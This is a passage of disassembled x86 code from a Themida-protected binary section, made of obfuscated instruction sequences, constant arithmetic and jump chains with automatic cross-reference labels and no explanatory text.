mov ebp, 204029F0h
jmp loc_595040
; ---------------------------------------------------------------------------
loc_599A9F: ; CODE XREF: Themida_:00591F43j
xor ebp, [esp]
xor [esp], ebp
jmp loc_595B43
; ---------------------------------------------------------------------------
loc_599AAA: ; CODE XREF: Themida_:00596248j
push ecx
jmp loc_596AAB
; ---------------------------------------------------------------------------
loc_599AB0: ; CODE XREF: Themida_:0059470Aj
add esp, 4
add esp, 4
push 21F6h
jmp loc_599B23
; ---------------------------------------------------------------------------
loc_599AC3: ; CODE XREF: Themida_:0059B13Fj
add esp, 4
or ah, bl
jmp loc_59B6C0
; ---------------------------------------------------------------------------
loc_599ACD: ; CODE XREF: Themida_:00597C20j
pop dword ptr [esp]
pop esp
jmp loc_59EB9C
; ---------------------------------------------------------------------------
loc_599AD6: ; CODE XREF: Themida_:0059D633j
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_599ADB: ; CODE XREF: Themida_:00597318j
sub edx, 14192849h
jmp loc_59E8A3
; ---------------------------------------------------------------------------
loc_599AE6: ; CODE XREF: Themida_:00595DFBj
push eax
mov ah, 24h
inc ah
not ah
sub ah, 0A0h
or ah, 4Eh
and ah, 0C2h
add ah, 6Ah
sub bh, ah
pop eax
sub bh, 36h
mov dx, [esp]
push eax
mov eax, esp
jmp $+5
add eax, 4
add eax, 2
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_5A1230
; ---------------------------------------------------------------------------
loc_599B23: ; CODE XREF: Themida_:00599ABEj
mov [esp], ebx
mov ebx, esp
push edx
mov edx, 4
add ebx, edx
mov edx, [esp]
add esp, 4
push edx
mov edx, 4
sub ebx, edx
pop edx
xchg ebx, [esp]
jmp loc_597F52
; ---------------------------------------------------------------------------
loc_599B4A: ; CODE XREF: Themida_:0059B8AAj
mov [esp], edx
mov edx, 4
push 62B6h
mov [esp], ebx
mov ebx, edx
mov edi, ebx
push dword ptr [esp]
pop ebx
push 5949h
jmp loc_59110F
; ---------------------------------------------------------------------------
loc_599B6C: ; CODE XREF: Themida_:0059FD38j
add esp, 4
jmp loc_58E353
; ---------------------------------------------------------------------------
lodsw
push edi
push eax
push ebx
mov bx, 33AEh
mov ax, 7151h
xor ax, bx
pop ebx
and ax, 60C3h
xor ax, 449Ch
shl ax, 4
push cx
mov cx, 525h
or ax, cx
pop cx
dec ax
jmp loc_5A307B
; ---------------------------------------------------------------------------
loc_599BA6: ; CODE XREF: Themida_:0059EB3Aj
pop ebx
jmp loc_599BBE
; ---------------------------------------------------------------------------
loc_599BAC: ; CODE XREF: Themida_:00597F09j
pop esp
jmp loc_591CAB
; ---------------------------------------------------------------------------
loc_599BB2: ; CODE XREF: Themida_:00596B4Bj
mov ecx, 767C0F22h
push ebx
push esi
jmp loc_593C62
; ---------------------------------------------------------------------------
loc_599BBE: ; CODE XREF: Themida_:00599BA7j
shl ebx, 2
sub esp, 4
mov [esp], edx
mov edx, 74E43F9Ah
jmp loc_5A12A7
; ---------------------------------------------------------------------------
loc_599BD1: ; CODE XREF: Themida_:005A1E99j
xchg ebx, ebp
push eax
mov eax, 5303154Ah
jmp loc_59A323
; ---------------------------------------------------------------------------
loc_599BDE: ; CODE XREF: Themida_:0059EAD2j
sub ebx, esi
pop esi
dec ebx
add ebx, 0F38BFC6Eh
or eax, ebx
pop ebx
push esi
mov esi, 24D404C8h
or esi, 4E3A4737h
shl esi, 1
sub esi, 0B5DA8FE6h
add eax, esi
pop esi
mov edx, eax
mov eax, [esp]
jmp loc_592A74
; ---------------------------------------------------------------------------
loc_599C0C: ; CODE XREF: Themida_:00590449j
mov ecx, esp
add ecx, 4
jmp loc_59A856
; ---------------------------------------------------------------------------
loc_599C19: ; CODE XREF: Themida_:005986EDj
add eax, esi
jmp loc_59A789
; ---------------------------------------------------------------------------
loc_599C20: ; CODE XREF: Themida_:005A102Aj
add edi, 0EF7FD441h
or ecx, edi
mov edi, [esp]
add esp, 4
push esi
mov esi, 89B1E211h
sub ecx, esi
pop esi
mov ebx, ecx
pop ecx
neg ebx
push ebp
jmp loc_59E169
; ---------------------------------------------------------------------------
loc_599C42: ; CODE XREF: Themida_:005919D3j
add ebp, edx
push 5CF9h
jmp loc_5983D3
; ---------------------------------------------------------------------------
loc_599C4E: ; CODE XREF: Themida_:0059B604j
push edx
push 4
pop edx
add esi, edx
pop edx
push 686Ch
mov [esp], ebx
push ecx
mov ecx, 3A4406E7h
jmp loc_592D7E
; ---------------------------------------------------------------------------
loc_599C6B: ; CODE XREF: Themida_:00592E10j
mov ebp, 718A08B2h
shl ebp, 4
sub ebp, 5DBB2188h
jmp loc_599FC5
; ---------------------------------------------------------------------------
loc_599C7E: ; CODE XREF: Themida_:005969F6j
pop eax
shr edi, 6
or edi, 61286C83h
sub edi, 0FFFFFFFFh
xor edi, 613CFFDCh
jmp loc_58FDC4
; ---------------------------------------------------------------------------
loc_599C99: ; CODE XREF: Themida_:0059B6B1j
shl ebx, 8
xor ebx, 0AE032604h
mov ecx, ebx
pop ebx
add edi, ecx
pop ecx
xchg edi, [esp]
pop esp
jmp loc_59EA6F
; ---------------------------------------------------------------------------
loc_599CB1: ; CODE XREF: Themida_:00593BB1j
sub ebp, 7D97DD2Dh
add eax, ebp
mov ebp, [esp]
add esp, 4
add ebx, eax
jmp loc_594523
; ---------------------------------------------------------------------------
loc_599CC9: ; CODE XREF: Themida_:005A1307j
pop eax
push edx
mov edx, 1D744330h
add edi, 1AD1515Dh
add edi, edx
push edx
mov edx, 6BF626B9h
dec edx
sub edx, 607A1D9Ah
dec edx
dec edx
jmp loc_595DB6
; ---------------------------------------------------------------------------
loc_599CEC: ; CODE XREF: Themida_:0059D251j
add esp, 4
add bl, 91h
add bl, dl
sub bl, 91h
mov dx, [esp]
add esp, 2
jmp loc_5920C7
; ---------------------------------------------------------------------------
loc_599D06: ; CODE XREF: Themida_:0059A879j
dec edi
push edi
jmp loc_5A25D0
; ---------------------------------------------------------------------------
loc_599D0D: ; CODE XREF: Themida_:0059187Ej
push eax
push esp
mov eax, [esp]
add esp, 4
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
sub esp, 4
mov [esp], ebp
sub esp, 4
mov [esp], eax
jmp loc_590C33
; ---------------------------------------------------------------------------
loc_599D38: ; CODE XREF: Themida_:0059486Fj
xor ecx, [esp]
pop esp
bts [esp], ax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_599D47: ; CODE XREF: Themida_:0059B30Ej
push dword ptr [esp]
pop edx
add esp, 4
shr bl, 5
and bl, 14h
jmp loc_58FCB1
; ---------------------------------------------------------------------------
loc_599D59: ; CODE XREF: Themida_:00595D4Cj
pop esp
sub edx, 29C03E58h
sub edx, eax
push esi
jmp loc_5900CF
; ---------------------------------------------------------------------------
loc_599D68: ; CODE XREF: Themida_:0059FA22j
dec edi
jmp loc_5928EC
; ---------------------------------------------------------------------------
loc_599D6E: ; CODE XREF: Themida_:0059B34Cj
sub ecx, 83F7051h
jmp loc_597077
; ---------------------------------------------------------------------------
loc_599D79: ; CODE XREF: Themida_:0059BA20j
push ebx
mov ebx, 526C7798h
jmp loc_595310
; ---------------------------------------------------------------------------
loc_599D84: ; CODE XREF: Themida_:0058E898j
push ebx
push ecx
jmp loc_59F528
; ---------------------------------------------------------------------------
loc_599D8B: ; CODE XREF: Themida_:00591D1Ej
mov edx, 74DC3087h
xchg eax, edx
not eax
xchg eax, edx
inc edx
shr edx, 4
xor edx, 8B23CF3h
jmp loc_58E5A2
; ---------------------------------------------------------------------------
loc_599DA3: ; CODE XREF: Themida_:0059EAA4j
mov eax, 64487C61h
or eax, 73A93498h
sub eax, 0FFFFFFFFh
shr eax, 2
jmp loc_5933A0
; ---------------------------------------------------------------------------
loc_599DB8: ; CODE XREF: Themida_:0059743Bj
neg ebx
xor ebx, 0A443EFC0h
sub ebx, edi
push dword ptr [esp]
mov edi, [esp]
jmp loc_59D3DE
; ---------------------------------------------------------------------------
loc_599DCD: ; CODE XREF: Themida_:0058EFD0j
not eax
xor eax, 99C2BCEAh
jmp loc_5994D7
; ---------------------------------------------------------------------------
loc_599DD9: ; CODE XREF: Themida_:0059DE23j
mov eax, esp
add eax, 4
add eax, 4
jmp loc_592BFD
; ---------------------------------------------------------------------------
loc_599DEA: ; CODE XREF: Themida_:0059E9F1j
xor esi, ecx
pop ecx
sub edi, esi
jmp loc_59AA9E
; ---------------------------------------------------------------------------
loc_599DF4: ; CODE XREF: Themida_:0059EBCBj
mov edx, [esp]
add esp, 4
pop ecx
jmp loc_59CE9C
; ---------------------------------------------------------------------------
loc_599E03: ; CODE XREF: Themida_:00595F9Bj
xor edi, 11CE45A4h
jmp loc_59D51F
; ---------------------------------------------------------------------------
loc_599E0E: ; CODE XREF: Themida_:0059F4DFj
mov ebx, 0E6053465h
add eax, ebx
pop ebx
push eax
sub dword ptr [esp], 1F993F9Ch
pop edx
add edx, 1F993F9Ch
jmp loc_595B8B
; ---------------------------------------------------------------------------
loc_599E2A: ; CODE XREF: Themida_:00598D8Cj
mov [esp], edi
jmp loc_5915F8
; ---------------------------------------------------------------------------
loc_599E32: ; CODE XREF: Themida_:0058EF36j
mov edi, 2BFF2B30h
jmp loc_5A0D47
; ---------------------------------------------------------------------------
loc_599E3C: ; CODE XREF: Themida_:005A28FDj
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_599E41: ; CODE XREF: Themida_:0059253Ej
sub ecx, 2A5537A4h
jmp loc_59B1B5
; ---------------------------------------------------------------------------
loc_599E4C: ; CODE XREF: Themida_:0059348Dj
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
or edx, eax
shl edx, 1
xchg ebx, [edi+24h]
push esi
push esp
jmp loc_597AD5
; ---------------------------------------------------------------------------
loc_599E66: ; CODE XREF: Themida_:00594B1Cj
add esp, 4
push 753Dh
mov [esp], esi
jmp loc_59C358
; ---------------------------------------------------------------------------
loc_599E79: ; CODE XREF: Themida_:00597677j
mov edx, 4
add eax, edx
pop edx
jmp loc_598723
; ---------------------------------------------------------------------------
loc_599E86: ; CODE XREF: Themida_:00596B43j
inc ebp
xor ebp, 15576314h
add edi, ebp
pop ebp
push esi
jmp loc_59AAE6
; ---------------------------------------------------------------------------
loc_599E96: ; CODE XREF: Themida_:00599FB7j
xchg edi, [esp]
jmp loc_5936E2
; ---------------------------------------------------------------------------
loc_599E9E: ; CODE XREF: Themida_:00592BDDj
mov eax, 2E3474E5h
jmp loc_5A11C7
; ---------------------------------------------------------------------------
loc_599EA8: ; CODE XREF: Themida_:005992C3j
sub ebp, 0D5B4EF0Bh
mov ebx, ebp
pop ebp
add eax, ebx
pop ebx
jmp loc_591FBD
; ---------------------------------------------------------------------------
loc_599EB9: ; CODE XREF: Themida_:005A12D7j
pop esi
add ebp, 0C5FA0AD5h
add eax, ebp
jmp loc_59A976
; ---------------------------------------------------------------------------
loc_599EC7: ; CODE XREF: Themida_:0059C17Dj
shl ecx, 1
shl ecx, 2
dec ecx
xor ecx, 3884C0DBh
sub edi, ecx
pop ecx
sub eax, 6110580Fh
sub esp, 4
mov [esp], ecx
mov ecx, 34807953h
jmp loc_592A58
; ---------------------------------------------------------------------------
loc_599EEE: ; CODE XREF: Themida_:0059554Ej
push dword ptr [esp]
jmp loc_59FE0D
; ---------------------------------------------------------------------------
loc_599EF6: ; CODE XREF: Themida_:00599934j
push ebp
pop edi
jmp loc_593608
; ---------------------------------------------------------------------------
loc_599EFD: ; CODE XREF: Themida_:00596BF0j
mov ebx, 4
jmp loc_5A1D04
; ---------------------------------------------------------------------------
loc_599F07: ; CODE XREF: Themida_:00590FB6j
mov edx, ebp
sub esp, 4
mov [esp], edx
add dword ptr [esp], 0B456EF1h
jmp loc_595DE1
; ---------------------------------------------------------------------------
loc_599F1E: ; CODE XREF: Themida_:005909F3j
and ah, 0A7h
shl ah, 3
shr ah, 8
sub ah, 18h
mov dl, ah
jmp loc_59FEDB
; ---------------------------------------------------------------------------
loc_599F31: ; CODE XREF: Themida_:00597134j
mov cl, bh
pop ebx
push ebp
jmp loc_59FAD6
; ---------------------------------------------------------------------------
loc_599F3A: ; CODE XREF: Themida_:005A2B95j
sub ecx, 179F0283h
add ecx, ebx
jmp loc_592E15
; ---------------------------------------------------------------------------
loc_599F47: ; CODE XREF: Themida_:0059C353j
xor eax, ecx
xor ecx, eax
xor eax, ecx
push esi
mov esi, 1E0981h
add eax, esi
pop esi
and ecx, eax
jmp loc_595519
; ---------------------------------------------------------------------------
loc_599F5D: ; CODE XREF: Themida_:005A053Bj
push edi
mov edi, 6A305B03h
xor edi, 38816C1Dh
add edi, 0FD3436Ah
sub edi, 786B5AFEh
jmp loc_598E7A
; ---------------------------------------------------------------------------
loc_599F7A: ; CODE XREF: Themida_:005A0E1Fj
mov esi, 11BB56F0h
push ebx
mov ebx, 803C14h
push ebp
mov ebp, 0FF7FC3EBh
add ebx, ebp
mov ebp, [esp]
jmp loc_5A03D3
; ---------------------------------------------------------------------------
loc_599F95: ; CODE XREF: Themida_:005A07BDj
add edx, 4
xchg edx, [esp]
pop esp
push eax
push 4DB84392h
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_599E96
; ---------------------------------------------------------------------------
loc_599FBC: ; CODE XREF: Themida_:0059E4E7j
mov [esp], esi
push edx
jmp loc_5A0E0A
; ---------------------------------------------------------------------------
loc_599FC5: ; CODE XREF: Themida_:00599C79j
or ebp, 44C111B9h
sub ebp, 0F8FF39A9h
xor eax, ebp
pop ebp
not eax
sub eax, 0A2A95094h
mov ebp, eax
jmp loc_599481
; ---------------------------------------------------------------------------
push small word ptr [edx]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_599FEA: ; CODE XREF: Themida_:0059A1CAj
pop ebx
or ebx, 22AD20ECh
push edi
mov edi, 0FBADA7EBh
sub ebx, edi
push dword ptr [esp]
jmp loc_59D88A
; ---------------------------------------------------------------------------
loc_59A001: ; CODE XREF: Themida_:0058EE9Cj
push 352769D9h
pop esi
jmp loc_59BF0D
; ---------------------------------------------------------------------------
loc_59A00C: ; CODE XREF: Themida_:0059C7FCj
mov dh, 9Dh
mov bl, 0F0h
sub bl, dh
pop edx
push 368Ah
mov [esp], eax
push 246Ah
mov [esp], ebx
push edx
mov dl, 9Bh
jmp loc_5A2887
; ---------------------------------------------------------------------------
loc_59A02B: ; CODE XREF: Themida_:005986DCj
sub al, bh
mov ebx, [esp]
jmp loc_595C9D
; ---------------------------------------------------------------------------
loc_59A035: ; CODE XREF: Themida_:0058E6EEj
xor ebx, edx
pop edx
push edx
mov edx, 7E314757h
not edx
shl edx, 1
sub edx, 0D956DCAh
inc edx
sub edx, 85EDCC2Dh
jmp loc_5A1FEA
; ---------------------------------------------------------------------------
mov ax, [esp]
push 0FC9h
mov [esp], ebx
sub esp, 4
mov [esp], esp
push 6D31h
mov [esp], edx
push 4213h
mov [esp], eax
push 48F36E82h
jmp loc_595802
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
mov eax, esp
add eax, 4
push ecx
mov ecx, 4
sub eax, ecx
pop ecx
xchg eax, [esp]
pop esp
mov [esp], edx
push ebx
jmp loc_58FCCA
; ---------------------------------------------------------------------------
loc_59A0A5: ; CODE XREF: Themida_:0059E0E6j
add ebp, 4
jmp loc_5A03A6
; ---------------------------------------------------------------------------
loc_59A0B0: ; CODE XREF: Themida_:005948D2j
push edi
jmp loc_59EA82
; ---------------------------------------------------------------------------
loc_59A0B6: ; CODE XREF: Themida_:0059F8DCj
sub ecx, 0DF91BE7h
sub ecx, edi
add ecx, 0DF91BE7h
pop edi
push ebx
mov ebx, 12681DDCh
dec ebx
xor ebx, 278168BAh
or ebx, 6CF07CBEh
add ebx, 0A8D3BEA0h
add ecx, ebx
pop ebx
xor ecx, 78B41472h
jmp loc_5A13F6
; ---------------------------------------------------------------------------
loc_59A0EC: ; CODE XREF: Themida_:0059F570j
pop edx
jmp loc_590589
; ---------------------------------------------------------------------------
loc_59A0F2: ; CODE XREF: Themida_:005970AEj
add esp, 4
sub ebx, 21044F89h
add ebx, eax
add ebx, 21044F89h
jmp loc_59ADB7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_59A108: ; CODE XREF: sub_59DA2F+E3Bj
pop esp
jmp loc_5A2DE8
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_59A10E: ; CODE XREF: Themida_:0059E0FEj
xchg edx, [esp]
pop esp
jmp loc_58E9DC
; ---------------------------------------------------------------------------
loc_59A117: ; CODE XREF: Themida_:0059AAEDj
mov esi, [esp]
jmp loc_596905
; ---------------------------------------------------------------------------
loc_59A11F: ; CODE XREF: Themida_:00595AD7j
mov dh, bh
jmp loc_5999AA
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push small 5165h
mov [esp], bx
push eax
push ecx
mov cl, 0A8h
jmp loc_59F176
; ---------------------------------------------------------------------------
loc_59A13A: ; CODE XREF: Themida_:005A29FEj
mov ebp, ecx
pop ecx
add ebx, ebp
mov ebp, [esp]
add esp, 4
push edx
jmp loc_59CABC
; ---------------------------------------------------------------------------
loc_59A14E: ; CODE XREF: Themida_:0059D8A5j
mov [esp], esi
mov eax, [esp]
push ebx
push esp
jmp loc_5960D0
; ---------------------------------------------------------------------------
lodsd
jmp loc_591254
; ---------------------------------------------------------------------------
loc_59A161: ; CODE XREF: Themida_:0059F974j
mov edi, [esp]
jmp loc_5940E5
; ---------------------------------------------------------------------------
loc_59A169: ; CODE XREF: Themida_:005915F3j
pop esi
push ecx
mov ecx, 1D1D716Fh
sub edx, ecx
pop ecx
add edx, ebx
push esi
mov esi, 1D1D716Fh
add edx, esi
pop esi
pop ebx
push esi
jmp loc_59BD55
; ---------------------------------------------------------------------------
loc_59A185: ; CODE XREF: Themida_:0059C3C8j
mov edx, [esp]
add esp, 4
jmp loc_59FA9D
; ---------------------------------------------------------------------------
loc_59A193: ; CODE XREF: Themida_:0059C85Aj
add ebx, 786976h
jmp loc_59A247
; ---------------------------------------------------------------------------
loc_59A19E: ; CODE XREF: Themida_:005A25F0j
push esi
xor dword ptr [esp], 5516469Eh
push dword ptr [esp]
pop ebx
add esp, 4
xor ebx, 5516469Eh
mov esi, [esp]
add esp, 4
add eax, 2D5329FDh
jmp loc_5A061A
; ---------------------------------------------------------------------------
loc_59A1C6: ; CODE XREF: Themida_:0059DFCAj
push ebx
not dword ptr [esp]
jmp loc_599FEA
; ---------------------------------------------------------------------------
loc_59A1CF: ; CODE XREF: Themida_:0059D706j
xor dl, al
mov eax, [esp]
jmp loc_58E9FB
; ---------------------------------------------------------------------------
loc_59A1D9: ; CODE XREF: Themida_:0059F909j
sub esp, 4
jmp loc_5996D5
; ---------------------------------------------------------------------------
loc_59A1E4: ; CODE XREF: Themida_:0059B14Dj
xor edx, [esp]
jmp loc_59B26D
; ---------------------------------------------------------------------------
loc_59A1EC: ; CODE XREF: Themida_:0059C306j
add ebp, ebx
pop ebx
add eax, ebp
pop ebp
add edx, eax
mov eax, [esp]
add esp, 4
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59A1FF: ; CODE XREF: Themida_:0059877Aj
mov esp, [esp]
push dword ptr [esp]
pop eax
add esp, 4
push ebp
mov ebp, 590A5C6Ch
push ebp
dec dword ptr [esp]
pop ebp
or ebp, 369013D3h
dec ebp
jmp loc_5934FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_59A223: ; CODE XREF: sub_590877+11932j
mov ecx, 37036DBAh
not ecx
sub ecx, 75080793h
jmp loc_58F40B
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_59A235: ; CODE XREF: Themida_:005990BBj
add ebx, esi
pop esi
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_594F49
; ---------------------------------------------------------------------------
loc_59A247: ; CODE XREF: Themida_:0059A199j
push 1976h
mov [esp], eax
push ebp
push eax
push edi
mov edi, 21E54CB5h
mov eax, edi
pop edi
mov ebp, eax
pop eax
mov eax, 910D34A6h
sub eax, 2E213106h
sub eax, 440F2A2Ah
sub eax, ebp
add eax, 440F2A2Ah
add eax, 2E213106h
mov ebp, [esp]
jmp loc_5A092F
; ---------------------------------------------------------------------------
loc_59A280: ; CODE XREF: Themida_:0059DFD8j
push edx
mov edx, 3CEB61F1h
inc edx
jmp loc_5984F4
; ---------------------------------------------------------------------------
loc_59A28C: ; CODE XREF: Themida_:0059AE54j
dec esi
xor eax, esi
xor esi, eax
jmp loc_5A01EE
; ---------------------------------------------------------------------------
loc_59A296: ; CODE XREF: Themida_:0058EE6Cj
inc eax
xor eax, 5D6207FEh
jmp loc_594847
; ---------------------------------------------------------------------------
loc_59A2A1: ; CODE XREF: Themida_:0058FE68j
mov esi, [esp]
add esp, 4
shl edi, 2
shl edi, 3
jmp loc_595AF2
; ---------------------------------------------------------------------------
loc_59A2B2: ; CODE XREF: Themida_:0059143Ej
sub esi, 6F187F54h
add esi, 0CB801B7Ah
jmp loc_59E0F3
; ---------------------------------------------------------------------------
loc_59A2C3: ; CODE XREF: Themida_:0059E9B0j
pop edx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
push dword ptr [esp]
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_5900DE
; ---------------------------------------------------------------------------
loc_59A2E8: ; CODE XREF: Themida_:00598174j
mov ecx, 14653E8Bh
xor ecx, 22854990h
sub ecx, 2AEA6244h
shl ecx, 8
jmp loc_590927
; ---------------------------------------------------------------------------
loc_59A301: ; CODE XREF: Themida_:005921ABj
not dword ptr [esp]
jmp loc_59BCCB
; ---------------------------------------------------------------------------
loc_59A309: ; CODE XREF: Themida_:005A20D3j
shl ebx, 8
neg ebx
sub ebx, 7BAA4A99h
jmp loc_59EE52
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCFF
loc_59A319: ; CODE XREF: sub_59FCFF-377Aj
mov edx, 89741A1h
jmp loc_598AA1
; END OF FUNCTION CHUNK FOR sub_59FCFF
; ---------------------------------------------------------------------------
loc_59A323: ; CODE XREF: Themida_:00599BD9j
add eax, 620768A9h
shl eax, 3
and eax, 737E77CCh
jmp loc_59C8D4
; ---------------------------------------------------------------------------
loc_59A335: ; CODE XREF: Themida_:0059AF7Fj
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edx
push eax
mov eax, 4
add edx, eax
mov eax, [esp]
jmp loc_59B038
; ---------------------------------------------------------------------------
loc_59A350: ; CODE XREF: Themida_:00595979j
push edx
mov edx, 0AAF7A58h
sub [esp+4], edx
pop edx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push esi
mov esi, esp
jmp loc_590866
; ---------------------------------------------------------------------------
loc_59A36C: ; CODE XREF: Themida_:00593F6Bj
push 26D2h
mov [esp], eax
jmp loc_59C2AC
; ---------------------------------------------------------------------------
loc_59A379: ; CODE XREF: Themida_:0059B70Bj
sub edx, eax
sub edx, 21550ADCh
pop eax
mov ebp, edx
jmp loc_59C87F
; ---------------------------------------------------------------------------
loc_59A389: ; CODE XREF: Themida_:00595E0Ej
add esi, edi
add esi, 2C9B4D09h
jmp loc_5951F3
; ---------------------------------------------------------------------------
loc_59A396: ; CODE XREF: Themida_:00590EBFj
push dword ptr [esp]
pop esi
jmp loc_598B55
; ---------------------------------------------------------------------------
loc_59A39F: ; CODE XREF: Themida_:0059CB9Bj
pop ecx
add esp, 4
xor ecx, eax
xor eax, ecx
xor ecx, eax
push edx
push 314Dh
mov [esp], esi
jmp loc_58FC06
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp], cl
pushf
jmp loc_596C22
; ---------------------------------------------------------------------------
loc_59A3C9: ; CODE XREF: Themida_:00592690j
sub eax, 1ACD2660h
mov ecx, [esp]
add esp, 4
pop edi
push ecx
push esp
jmp loc_59D5D4
; ---------------------------------------------------------------------------
loc_59A3DF: ; CODE XREF: Themida_:005977B9j
push 46A0h
jmp loc_58EAE8
; ---------------------------------------------------------------------------
loc_59A3E9: ; CODE XREF: Themida_:0059D73Aj
inc esi
add esi, 8B624E7Fh
jmp loc_598A2D
; ---------------------------------------------------------------------------
loc_59A3F5: ; CODE XREF: Themida_:00592B2Aj
add ecx, 4
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
push dword ptr [esp]
pop ecx
push ecx
mov ecx, esp
push edi
push ebx
mov ebx, 23A20E4Dh
mov edi, 38097C14h
not edi
xor edi, 0F1E60842h
sub edi, ebx
pop ebx
inc edi
dec edi
jmp loc_59A484
; ---------------------------------------------------------------------------
loc_59A42D: ; CODE XREF: Themida_:0059BFD7j
mov dl, bl
mov ebx, [esp]
add esp, 4
mov bl, dl
mov edx, [esp]
add esp, 4
mov eax, [esp]
jmp loc_59969E
; ---------------------------------------------------------------------------
loc_59A448: ; CODE XREF: Themida_:00594E77j
add ebp, 10A7168h
sub ebp, edi
jmp loc_593217
; ---------------------------------------------------------------------------
loc_59A455: ; CODE XREF: Themida_:005A136Aj
dec esi
shl esi, 8
sub esi, 9F2342E6h
sub ebx, esi
pop esi
add ebx, ecx
push ecx
mov ecx, 2A5A7CFCh
sub ecx, 0C4E214E2h
sub ebx, 6FEF1D46h
add ebx, ecx
add ebx, 6FEF1D46h
pop ecx
jmp loc_59247C
; ---------------------------------------------------------------------------
loc_59A484: ; CODE XREF: Themida_:0059A428j
sub edi, 0FFFFFFFFh
xor edi, 126E7D59h
sub ecx, 64D50F23h
add ecx, edi
jmp loc_599260
; ---------------------------------------------------------------------------
loc_59A49A: ; CODE XREF: Themida_:0058FD22j
add eax, 2E0E1077h
xor eax, 666218C1h
sub eax, 1D1962B1h
push ebp
push esi
jmp loc_58FCC0
; ---------------------------------------------------------------------------
loc_59A4B0: ; CODE XREF: Themida_:0058FA48j
mov cl, al
mov dl, cl
push dword ptr [esp]
jmp loc_58E54D
; ---------------------------------------------------------------------------
loc_59A4BC: ; CODE XREF: Themida_:005957F7j
xor eax, ebx
pop ebx
jmp loc_5A17AB
; ---------------------------------------------------------------------------
loc_59A4C4: ; CODE XREF: Themida_:00595B79j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
xor eax, edi
push dword ptr [esp]
pop edi
push eax
mov eax, esp
jmp loc_591DBF
; ---------------------------------------------------------------------------
loc_59A4E1: ; CODE XREF: Themida_:00590E34j
add esi, 5F692D2Eh
mov ecx, [esp]
jmp loc_59B8AF
; ---------------------------------------------------------------------------
loc_59A4EF: ; CODE XREF: Themida_:0059956Aj
mov [esp], eax
mov ah, 0AFh
or ah, 0A7h
add ah, 0FFh
jmp loc_59FBC9
; ---------------------------------------------------------------------------
loc_59A4FF: ; CODE XREF: Themida_:00594F2Aj
shr esi, 7
add esi, 0CAF5825Eh
xor eax, esi
pop esi
or ecx, eax
mov eax, [esp]
jmp loc_5980FA
; ---------------------------------------------------------------------------
loc_59A515: ; CODE XREF: Themida_:00593924j
xor edi, ebx
jmp loc_596507
; ---------------------------------------------------------------------------
loc_59A51C: ; CODE XREF: Themida_:0059BB04j
sub edx, ebp
pop ebp
inc edx
sub edx, 0A2C6DC1Ah
and edx, 4373131Fh
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
jmp loc_59F3AA
; ---------------------------------------------------------------------------
loc_59A543: ; CODE XREF: Themida_:00591DFDj
add ecx, 4
jmp loc_5A130C
; ---------------------------------------------------------------------------
loc_59A54E: ; CODE XREF: Themida_:0059B5F2j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_59C8EC
; ---------------------------------------------------------------------------
loc_59A55C: ; CODE XREF: Themida_:0059B88Fj
pop ebx
jmp loc_5A029E
; ---------------------------------------------------------------------------
loc_59A562: ; CODE XREF: Themida_:005A293Bj
pop ebx
jmp loc_59B72D
; ---------------------------------------------------------------------------
loc_59A568: ; CODE XREF: Themida_:00594F7Fj
sub ebp, 425C5992h
mov eax, [esp]
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59A58A: ; CODE XREF: Themida_:0058F9D1j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop esi
push ecx
push ebp
push 22624170h
pop ebp
jmp loc_596C91
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A1999
loc_59A5A8: ; CODE XREF: sub_5A1999+C9Aj
add [esp-4+arg_0], 0EA13BDh
pop ebx
sub ebx, 0EA13BDh
pop esi
mov eax, [esp-0Ch+arg_8]
add esp, 4
mov edi, ebx
mov ebx, [esp-10h+arg_C]
push ebp
jmp loc_59D798
; END OF FUNCTION CHUNK FOR sub_5A1999
; ---------------------------------------------------------------------------
loc_59A5C8: ; CODE XREF: Themida_:005938DAj
mov ebx, esp
add ebx, 4
jmp loc_5952B5
; ---------------------------------------------------------------------------
loc_59A5D5: ; CODE XREF: Themida_:005977E0j
pop esp
push eax
push esp
pop eax
add eax, 4
push ecx
mov ecx, 4
add eax, ecx
pop ecx
xor eax, [esp]
jmp loc_590F54
; ---------------------------------------------------------------------------
loc_59A5EF: ; CODE XREF: Themida_:0059CC96j
mov eax, esp
push edi
mov edi, 0EB83F34h
jmp loc_59FA09
; ---------------------------------------------------------------------------
loc_59A5FC: ; CODE XREF: Themida_:00598B2Bj
mov edi, 35BE3DE6h
mov eax, 90750659h
sub eax, edi
mov edi, [esp]
add esp, 4
sub ebp, eax
pop eax
sub [edi+24h], ebp
